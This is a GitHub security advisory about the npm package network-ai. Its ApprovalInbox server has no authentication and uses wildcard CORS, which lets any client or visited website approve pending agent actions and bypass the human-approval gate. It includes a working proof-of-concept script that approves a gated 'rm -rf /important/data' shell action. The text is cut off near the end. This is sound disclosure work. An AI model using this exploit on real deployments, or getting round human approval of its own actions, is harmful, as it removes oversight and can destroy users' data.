GitHub Advisoryadvisory · npm

GHSA-mxjx-28vx-xjjj Network-AI: ApprovalInbox HTTP server has no authentication — anyone can approve pending agent actions

MEDIUM Published 2026-06-19 Modified 2026-06-19 Official page ↗
Ecosystem
npm
Packages
network-ai
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N
Weaknesses
CWE-352, CWE-862
Reviewed
2026-06-19

Affected packages

• npm network-ai: >= 5.0.0, < 5.12.2 → fixed in 5.12.2

Description

Summary `network-ai`'s `ApprovalInbox` (`lib/approval-inbox.ts`) is a shipped, exported, documented feature — *"a web-accessible approval queue with REST API … and SSE streaming"* (SECURITY.md). It is the network surface of the human-in-the-loop Approval Gate, which `ApprovalGate` uses to require explicit human approval for *"high-risk operations (writes, shell commands, budget spend)"* (SECURITY.md). The HTTP server it exposes has no authentication of any kind and sets **`Access-Control-Allow-Origin: *` on every route, including the state-changing `POST /approvals/:id/approve` and `/deny`. As a result, any party who can send an HTTP request to the inbox port — a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, or any website the operator visits in a browser (via the wildcard CORS) — can enumerate pending approvals and approve them, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent. This is the same vulnerability class the maintainer has already fixed twice on the MCP server (GHSA-fj4g-2p96-q6m3 missing auth; GHSA-j3vx-cx2r-pvg8 empty default secret) — the auxiliary `ApprovalInbox` server never received that hardening. • Affected:** `network-ai { ... res.setHeader('Access-Control-Allow-Origin', '*'); // 256 enumerate pending ids this.sendJson(res, 200, this.list(status)); return; } ... const approveMatch = subPath.match(/^\/([a-f0-9]+)\/approve$/); // POST /approvals/:id/approve if (approveMatch && req.method === 'POST') { this.readBody(req).then((body) => { const approvedBy = typeof body.approvedBy === 'string' ? body.approvedBy : 'anonymous'; // defaults to 'anonymous' const entry = this.approve(approveMatch[1], approvedBy, reason); // resolves the gate -> action proceeds ... }); } } ``` `approve()` resolves the pending promise that `ApprovalGate` is awaiting, so the gated action proceeds: ```js // lib/approval-inbox.ts:172-183 / 327-339 approve(id, approvedBy, reason) { ... return this.resolve(id, 'approved', { approved: true, approvedBy, reason }); // promise -> {approved:true} } ``` `startServer()` binds the handler (default `127.0.0.1`, but any host the caller passes): ```js // lib/approval-inbox.ts:281-286 startServer(port, hostname = '127.0.0.1') { const server = createServer(this.httpHandler()); server.listen(port, hostname); return server; } ``` There is no option to supply a secret/token (unlike `McpSseServer`/`McpHttpServer`, which require one and fail closed), and the wildcard `ACAO: *` is hardcoded — an operator cannot configure their way out of it. Why the wildcard CORS matters The two routes needed for exploitation are reachable cross-origin: • `GET /approvals/?status=pending` is a CORS *simple request*; `ACAO: *` lets a malicious page read the response and learn the pending approval ids. • `POST /approvals/:id/approve` with `Content-Type: application/json` triggers a preflight, which succeeds because the server answers `OPTIONS` with `ACAO: *`, `Access-Control-Allow-Methods: …POST…`, and `Access-Control-Allow-Headers: Content-Type`. The browser then sends the approve. `approvedBy` defaults to `'anonymous'`, so no special body is required. So a website the operator merely visits while the inbox is running can enumerate and approve all pending high-risk actions. Proof of Concept Self-contained against the published `[email protected]` package (no project files needed; re-confirmed 2026-06-17). It starts the documented `ApprovalInbox` server, has an agent submit a high-risk gated action, then acts as an unauthenticated client. ```bash mkdir na-poc && cd na-poc && npm init -y >/dev/null && npm i [email protected] node poc.mjs ``` `poc.mjs`: ```js import { ApprovalInbox } from "network-ai"; import http from "node:http"; const PORT = 7798; const req = (method, path, body) => new Promise((resolve, reject) => { // plain client — NO Authorization header const data = body ? JSON.stringify(body) : undefined; const r = http.request({ host: "127.0.0.1", port: PORT, method, path, headers: data ? { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) } : {} }, (res) => { let b = ""; res.on("data", c => b += c); res.on("end", () => { let j; try { j = JSON.parse(b); } catch { j = b; } resolve({ status: res.statusCode, json: j }); }); }); r.on("error", reject); if (data) r.write(data); r.end(); }); const inbox = new ApprovalInbox(); const gate = inbox.callback(); // what ApprovalGate calls before a dangerous action inbox.startServer(PORT, "127.0.0.1"); // the documented "web-accessible approval queue" await new Promise(r => setTimeout(r, 150)); let resolved = false; const decisionP = gate({ action: "shell_execute", target: "rm -rf /important/data", agentId: "worker-1", justification: "cleanup", riskLevel: "high" }).then(d => (resolved = true, d)); console.log("Gated dangerous action pending human approval. resolved =", resolved); const list = await req("GET", "/approvals/?status=pending"); // attacker enumerates pending approvals const id = list.json[0].id; const approve = await req("POST", `/approvals/${id}/approve`, { approvedBy: "attacker" }); // and approves one console.log("[attacker] GET /approvals/ (no auth) ->", list.status, "ids:", list.json.map(e => e.id)); console.log("[attacker] POST /approvals/" + id + "/approve (no auth) ->", approve.status, approve.json?.status); const decision = await decisionP; console.log(">>> gate decision delivered to agent:", JSON.stringify(decision), "| WIPED WITHOUT AUTH:", decision.approved && resolved); ``` Output: ``` Gated dangerous action pending human approval. resolved = false [attacker] GET /approvals/ (no auth) -> 200 ids: [ '07d6f277efe35ac1' ] [attacker] POST /approvals/07d6f277efe35ac1/approve (no auth) -> 200 approved >>> gate decision delivered to agent: {"approved":true,"approvedBy":"attacker"} | WIPED WITHOUT AUTH: true ``` The gated action (`shell_execute: rm -rf /important/data`, `riskLevel: high`) is approved by a client that sent no `Authorization` header, and the `Approva…

Related

Weakness · CWE (2)

  • CWE-352 Cross-Site Request Forgery weakness
  • CWE-862 Missing Authorization weakness

References